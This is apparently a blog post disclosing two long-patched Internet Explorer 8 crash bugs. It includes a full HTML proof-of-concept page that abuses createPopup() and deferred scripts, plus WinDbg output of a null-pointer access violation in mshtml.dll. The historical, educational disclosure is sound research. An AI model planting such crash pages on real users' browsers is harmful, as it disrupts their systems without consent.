While testing variations of another bug on IE8, I found two separate crash paths involving window.createPopup() and deferred scripts. Both were straightforward to trigger and required no user interaction.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>IE8_DoS_createPopup</title>
</head>
<body>
<h1>IE8_DoS_createPopup</h1>
<font face="Arial" size="2">
<b>While testing variations of WinOOB #958601 on IE8 [8.0.6001.18405], two interesting DoS found me:</b><br /><br />
<hr />
<script language="JavaScript">
function crash_01()
{
doc = window.createPopup().document;
doc.body.innerHTML='.<SCRIPT DEFER>location.reload();<\/SCRIPT>';
}
function crash_02()
{
cPop = window.createPopup();
cPop2 = cPop.document.parentWindow.createPopup();
cPop2.document.body.innerHTML='.<SCRIPT DEFER>location.reload();<\/SCRIPT>';
cPop2.show(0,0,10,10);
}
</script>
doc = window.createPopup().document;<br />
doc.body.innerHTML='.<SCRIPT DEFER>location.reload();<\/SCRIPT>';<br />
<input type="button" onclick="crash_01()" value="Crash 01">
<br /><br />
<hr />
cPop = window.createPopup();<br />
cPop2 = cPop.document.parentWindow.createPopup();<br /><br />
cPop2.document.body.innerHTML='.<SCRIPT DEFER>location.reload();<\/SCRIPT>';<br />
cPop2.show(0,0,10,10);<br />
<font size="1" color="green">//This crash works only when using the transitional.dtd<br />
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></font><br />
<input type="button" onclick="crash_02()" value="Crash 02">
<br />
</font>
</body>
</html>
The WinDbg output from crash 02 showed an access violation in mshtml.dll at DllCanUnloadNow+0xfc1e, with a null pointer dereference at edi+0x10. The second crash was sensitive to the DOCTYPE — it only occurred with the XHTML Transitional DTD in place. Both crashes were tested on Windows XP SP3 with IE 8.0.6001.18405/18408.
(a78.aa0): Access violation - code c0000005 (first chance)
eax=01edf5b0 ebx=027d32d8 ecx=00000004 edx=00000000 esi=01edf5b0 edi=00000000
eip=637020aa esp=01edf528 ebp=01edf550
mshtml!DllCanUnloadNow+0xfc1e:
637020aa ff7710 push dword ptr [edi+10h] ds:0023:00000010=????????
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.
Read other posts